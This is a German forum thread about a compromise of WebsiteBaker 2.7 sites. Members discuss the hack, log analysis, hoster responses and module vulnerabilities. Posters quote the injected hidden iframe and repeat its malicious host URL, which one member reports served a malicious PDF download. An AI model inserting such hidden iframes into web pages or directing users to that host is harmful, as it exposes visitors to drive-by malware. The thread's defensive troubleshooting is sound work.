Ver. 2.7 gehacked, alle index Seiten mit <iframe> versehen

[alexis]

Hallo,

auf 2 Webseiten werden seid 2 Tagen alle index.php inclusive der in den Verzeichnissen so veraendert (am Ende eingefuegt):

<iframe src="http : / / a5j . ru : 8080 / ts/ in . cgi ? pepsi 100" width=125 height=125 style="visibility: hidden"></iframe>

Die Seiten sind dadurch natuerlich nicht mehr aufrufbar.
Im englischen Forum gibt es ebenfalls einen Post dazu, bin also nicht der einzige.
Admin Verzeichnisse sind umbenannt und Passwoerter geaendert, hat aber nichts geholfen...

[FrankH]

Und wie sind die Zugriffsrechte für die Index-Dateien gesetzt? xx7?

[kweitzel]

1) Welche Versionen verwendest Du (WB, Module).
2) Was sagt Dein Hoster?
3) Hast Du zugriff auf eine Shell auf dem Server?
4) Hast Du Zugriff auf die Zugriffs- und Fehler Logs des Webservers?
5) Waren die beiden Installationen auf dem gleichen Server in der gleichen Version?

Gruß

Klaus

[Luisehahne]

Hier ein interessanter Forumseintrag im security Forum

http://board.protecus.de/t31758.htm

Dietmar

[WebBird]

Ich hatte das auch schon mal auf dem (shared) Webserver eines Rollenspiels mit sehr vielen Unterseiten - ohne WB!!! Alle index.* Dateien waren geändert worden. Der Einbruch betraf aber auch den kompletten Server und nicht nur unseren Webspace. Leider wurden wir vom Provider nicht informiert, wie der Einbruch passiert ist.

Daher auch meine Empfehlung: Beim Provider nachfragen, ob der komplette Server betroffen war oder nur die WB-Installation. Gucken, welchen Timestamp die Dateien haben, und im Zugriffslog gucken, ob der Zugriff über den WB-Webspace passierte. (Sollte der Provider tun.)

[alexis]

Beide Seiten sind gleiche Version 2.7.0
Module der Seiten sind:
event_calendar_v1.8
imagegallery_v1.9
massmail_v2.3.4
fckeditor_v2.89 (bisher nur auf einer Seite)
download_gallery_v1 .90 (bisher nur auf einer Seite)
pagecloner-0.4
show_menu2_v4.60

Last Update Info 0.2

In den Logfiles erscheint zu den gegebenen Zeitpunkten oft:
spider44.yandex.ru

Der Hoster sagt das es am CMS liege (was soll er auch sonst sagen). Andere Seiten von mir mit e-shops oder dergleichen sind z.Zt nicht betroffen, nur WB Seiten.

Shell Zugang sollte ich haben (muss da mal nachsehen)

[kweitzel]

fckeditor_v2.89 (bisher nur auf einer Seite)
show_menu2_v4.60

Die oben genannten Module (sowie die Core-Module) haben im Moment keine uns bekannten Sicherheitslücken. Für die anderen Module kann ich leider nicht sprechen.

Was für Dateien hat dieser Host "spider44.yandex.ru" denn aufgerufen? Daran kann man vielleicht erkennen ob der code darauf zurückzuführen ist.

Parrallel dazu kannst Du auch die Tools installieren und testen, die die anderen Kollegen dort gepostet haben.

Gruß

Klaus

[Luisehahne]

Ich habe gerde mal gegooglet, Keine Panik, hat nichts mit WB zu tun. Sucht mal nach diesem Begriff

Code:

http://a5j.ru:8080/ts/in.cgi?pepsi100

Gut das auf meinem Webserver mod security läuft

Dietmar

[ruebenwurzel]

Hallo,

kann nur bestätigen, dass diese Angriffe in der Regel den ganzen Server betreffen und nicht von WB verursacht sind. Leider rücken die hoster aber die entsprechenden logs nicht raus, anhand derer festzustellen ist, dass das ganze nix mit WB zu tun hat. Mich mit der Aussage es läge am CMS abzuspeisen würde ich mir aber nicht gefallen lassen. Das sollten sie doch bitte mal anhand ihrer Serverlogs belegen. Solange das nicht vorliegt ist die Aussage es läge am CMS eine durch nichts untermauerte Aussage.

Matthias

P.S.
Falls du das ticket auf SVN aufgemacht hast, hab es geschlossen. Werde es erst wieder öffnen wenn es einen Nachweis gibt, dass WB die Ursache ist.

[FrankH]

Ich habe gerde mal gegooglet, Keine Panik, hat nichts mit WB zu tun. Sucht mal nach diesem Begriff

Code:

http://a5j.ru:8080/ts/in.cgi?pepsi100

1 Treffer - dieser Thread
Soll das helfen?

[Luisehahne]

Ich hatte 11 Treffer. War ja nur um festzustllen, dass es kein Problem von WB ist.

Dietmar

[WebBird]

Das hasse ich auch, wenn die Provider erst mal per Default behaupten, daß a) die Anwendung schuld ist (egal welche) und b) aus Datenschutzgründen kein Einblick in die Logs gewährt werden kann. (Was ja richtig ist, aber sie sollten dann wenigstens selber reingucken...)

In oben beschriebenem Fall konnte ich anhand unserer eigenen Access Logs nachprüfen, daß zu der fraglichen Zeit niemand auf die angeblich schuldigen Scripten zugegriffen hat. In einem anderen Fall hat der Provider behauptet, ein bestimmter Eintrag im Log wäre der Verursacher gewesen - nur daß ich wußte, daß_ich_ das war.

Leider wird da oft die eigene Inkompetenz verschleiert. Die wissen es einfach nicht und behaupten deshalb, die betroffene Anwendung sei Schuld. Fertig. Beweis' erst mal das Gegenteil.

[WebBird]

Ich hatte 11 Treffer. War ja nur um festzustllen, dass es kein Problem von WB ist.

Ich kriege 21. Einer davon: http://www.linuxquestions.org/questions/linux-security-4/a-virus-changed-all-my-index-files-with-iframe-how-to-remove-that-iframe-line-739970/

[doc]

Hi,

was mich immer wieder nervt ist die Tatsache, dass von KEINER Seite brauchbare Infos bereit gestellt werden, um diese Art von Problemen vernünftig zu lösen.

Userseite:
Der User fragt im Idealfall beim Hoster nach und erhält als Antwort es liege am CMS, ohne aber Einsicht ins Loginfile oder zumindest die "auffälligen" URL samt evtl. angehängter Parameter einsehen zu können. Klar ein CMS dürfte im Userspace wohl die grösste AKTIVE Componente sein, das muss es also sein. Oft fragen die User auch nicht weiter nach, lassen den Hoster ne Sicherungskopie einspielen und gut. An was es nun lag kann keiner genau sagen.

Die WB-Seite:
Von hier kommt normalerweise immer: "WB ist sicher". Nun das mag für den Kern vielleicht zutreffen, aber durch die vielen (oft unzureichend abgesicherten) Module relativiert sich das ganz schnell.

Die WB Addons Seite wurde bereits Opfer von schlampig programmierten Modulen (SQL Injection). Auch zwei Webseiten von Kollegen waren betroffen (SQL, Fileupload, XSS). In allen Fällen konnte dank Logfileanalyse der Angriffsweg nachvollzogen werden. In der von Alexis geposteten Modulliste finden sich gleich 4 Kandidaten, die Sicherheitslücken hatten oder noch haben. Einige dieser Modul waren auch bei dem User installiert, der diesen Thread gestartet hat.

Am 6ten Juli wurde auf der FCK Seite Version 2.6.4.1 veröffentlicht, welche eine kritische Sicherheitslücke im PHP Filemanager behebt. Bereits einen Tag später wurde die gefixte WB-Version v2.89 auf der Addon Seite und im SVN veröffentlich. Soweit so gut. Leider wird diese Sicherheitslücke lediglich im Englischen Thread des FCKEditors erwähnt, sonst nirgends – eine tickende Zeitbombe.

Sowohl auf Userseite, als auch auf der WB-Seite bedarf es an mehr Transparenz und Offenheit, wenn man dieses Problem über kurz oder lang in den Griff bekommen will.

Gruss Doc

[Luisehahne]

Hallo Doc,

finde das ist nicht ganz so richtig was du erläuterst. Er hat Hilfe bekommen. Man kann doch wirklich nicht mehr als Googlen und wenn andere Systeme den Hack auch haben, muss es doch am Hoster liegen. Warum sind wir für unsichere Hoster verantwortlich. Oder siehst du eine Möglichkeit, dies wenigsten für WB zu verhindern

Dietmar

[doc]

Hi Dietmar,

Warum sind wir für unsichere Hoster verantwortlich

Wo habe ich das geschrieben? Ich habe lediglich gepostet, dass es bereits viele ähnliche Threads mit immer gleichen Ausgang gibt.

Wenn ein Hack bekannt wird, gilt es schnell zu handeln. Dazu müsste ein User aber erstmal wissen nach was er bei seinem Hoster nachhacken sollte, sprich welche Infos zur Auflösung unbedingt benötigt werden (u.a. WB Version, Module + Versionen, Logfile Sicherung, Einsicht der Logfiles, bekannt gabe der URLs + Parameter). Da so eine Liste nicht existiert, wird im Forum nachgefragt, es vergeht Zeit, der Hoster spielt ne Sicherungskopie zurück (verwischt Spuren) und man tappt weiterhin im Dunkeln.

Auf der WB-Seite sollte es eine zentrale Anlaufstelle für Sicherheitskritisch e Bugs (Newsletter, Seite, Blog ...) geben. Auch ein paar Hinweise zum zusätzlichen absichern einer WB Seite (/admin Ordner umbenennen, htaccess Zugriffsschutz, Server Einstellungen in php.ini und htaccess wie magig_quotes, Fehlermeldungen, Zugriffsrechte für Ordner und Dateien ...) könnten nicht schaden.

Bekannte Sicherheitslücken wie bei FCK 2.6.4 sollten an prominent Stelle gepostet werden, nicht im FCK Thread des Forums. Auf der FCK Entwicklerseite steht der Bug seit 6. Juli auf der Startseite, im WWW gibt es bereits Exploits zum Ausnutzen dieser Lücke. Was ist mit WB 2.7 wurde die Downloaddatei gefixt oder enthält die auch noch den kritischen FCK Bug. Gleiches gilt für Module mit Sicherheitslücken.

Vielleicht ist es nun etwas klarer, vielleicht auch nicht.

Doc

[Hans>NULL]

Wenn User Anwendungen auf einem Server installieren, sollten Sie einige Grundlagen mitbringen. Anhand der immer wieder gleichen Aussagen und entsprechendem Verhalten sieht man, daß diese Grundlagen sehr oft fehlen.
Dementsprechend sind diese User auch nicht in der Lage "vernünftige" Hoster auszuwählen. Woher auch, wenn diese nicht die Kriterien kennen.
Vielleicht finden sich ja ein paar Gutmenschen, die ihnen das Wissen einstreicheln.

Aber gut, es werden ja auch Schrottimmobilien und -papiere gekauft
Gruß, Hans>NUL

[gottfried]

Hi !

Letztes Jahr hat "Host Europe" (darf man das sagen?) mal viele (alle etwa?) Sites vom Netz genommen und alle mußten neu aufsetzen, weil sie so einen Iframe am ende aller Seiten hatten. Ich denk auch, es ist eher ein Serverproblem.
Da freut man sich doch über eine Sicherung.

Hatte nix mit WB zu tun, ganz einfache html Seiten.  

Ich würde also bei meinem Hoster anfragen, ob es eine Sicherung gibt, die paar Tage alt ist und die bunkern bis die Luft rein ist. Viele bieten ja periodische Sicherungen.

 

[kweitzel]

Persönliche Anmerkung von mir an Doc:

1) Ja, Du hast recht.
2) Warum hast Du es als Du noch aktiv warst denn nicht besser gemacht?

Gruß

Klaus

[doc]

Hi,

Warum hast Du es als Du noch aktiv warst denn nicht besser gemacht?

Ach denke ich habe einige sicherheitskritisch e Bugs gefixt als ich noch aktiv war. In diesem Thread sicherheitsrelevant e Bugs gepostet, oder zumindest einen klaren Hinweis auf der WB Addon Seite erstellt, natürlich nachdem ich das ganze zuvor gefixt habe. Es gab auch Diskussionen per PM mit anderen Entwicklern, Chats.

Auch in diesem Thread (obwohl nicht mehr aktiv) habe ich mir Stichprobenartig die verwendeten Module (wurden per PM) verschickt angeschaut und 2 Sicherheitskritisch e, 1 schweren und viele einfachere Bugs gefunden und auch an das WB DEV-Team und Modulentwickler per PM geschickt. Einige der Bugs sind immer noch nicht gefixt, aber was solls. Habe auch ne längere Liste mit Vorschlägen verschickt. Auch die FCK 2.6.4.1 Dateien habe ich ans DEV Team weitergeleitet (gebastelt da ich noch ne Webseite mit WB am laufen habe).

Denke ich habe meinen Beitrag geleistet. Aber Klaus du hast Recht, Augen zu und durch, halt wie immer gell  

Doc

P.S: Und so neben bei habe ich noch ein bischen an den Hilfeseiten gebastelt, den Templateshowcase überarbeitet, an WB 2.7 mitentwickelt - verdammt Du hast Recht, ich hätte mehr tun müssen!!!  

[kweitzel]

Nein ... Du hättest einfach nur, wie damals auch "verlangt" deligieren sollen! Ausserdem habe ich nicht gesagt Du hättest MEHR tun sollen sondern Du hättest es BESSER tun sollen.

Gruß

Klaus

[gottfried]

Hi !

bei mir hat mein Virenscanner ausgeschlagen, als ich den

link

http  ://  a5j.  ru   :8080 /ts  /  in. cgi  ?  pepsi 100

aufgerufen hab. (bitte nicht probieren!)


meldet die Signatur eines bekannten Angriffs  HTTP Acrobat Suspicious File download 3
scheint ziemlich bösartig zu sein, weil es auf Norton Antivirus losgegangen ist, anscheinend.
Jetzt kann ich die Seite nicht mehr aufrufen.


Severity: High
This attack could pose a serious security threat. You should take immediate action to stop any damage or prevent further damage from happening.
Description
This signature detects downloads of Adobe PDF files containing malicious content.
Additional Information
Downloading of maliciously crafted Acrobat PDF files may result in the compromise of the target computer.
Response
The following instructions pertain to all current and recent Symantec antivirus products, including the Symantec AntiVirus and Norton AntiVirus product lines.

1. Disable System Restore (Windows Me/XP).
2. Update the virus definitions.
3. Run a full system scan.

Also - das Teil versucht ein verseuchtes PDF Dokument herunterzuladen, ruft den Acrobat reader auf, dann. Ich tät ja sagen, um Schaden bei den Betrachtern der Seiten zu vermeiden, die bis zur Reparatur umgehend vom Netz zu nehmen.
Hoffentlich hab ich mir nun nichts eingefangen.

[gottfried]

seeehr gefährlich !    Ich hab grad meinen Virenscanner laufen. Aber der hat reagiert bevor der reader aktiv wurde.

sollte das wohl auf einem anderen rechner probiert haben.

[doc]

Hi Klaus,

Nein ... Du hättest einfach nur, wie damals auch "verlangt" deligieren sollen! Ausserdem habe ich nicht gesagt Du hättest MEHR tun sollen sondern Du hättest es BESSER tun sollen.

So so, ich hätte also die Hilfeseiten und den Template Showcase besser machen können  

Schade dass Du PM ausgeschaltet hast, denke dahin gehören eigentlich solche Aussage. Denke wir könnten uns alle genug um die Ohren hauen, was der eine besser oder anders oder lieber erst gar nicht hätte tun sollen. Hilft nur leider nicht die aktuelle Situation zu verbessern. Denke es gäbe genügend Betätigungsfelder für alle die daran Interesse haben und in letzter Zeit tummeln sich ja sehr viel kreative Köpfe hier im Forum  

Doc

P.S.: Wenn Du noch mehr auf dem Herzen hast, schick mir doch einfach ne PM, oder geht das nicht wenn man den Empfang von PMs blockiert  

[Luisehahne]

Lasst uns wieder zum Thema kommen. Schuld ist sowie der Bäcker, der das Brot gebacken hat.

Eine andere Therorie wäre ja, ein Virus lokal gefangen, Seiten aktualisiert und es selber verursacht ohne es zu merken.

Ohne Logfiles aber nicht feststellbar. Ich habe nur nicht verstanden wieso Logfiles unter Datenschutz fallen. Ich habe für meinen Webplatz eigene Logfiles (Virtualhost) die ich mir jederzeit ziehen kann. Das was er im moment am häufigsten anmeckert ist die Geschichte mit mktime und mkdate. Strict Standard, aber das ist ja in der Mache.

Dietmar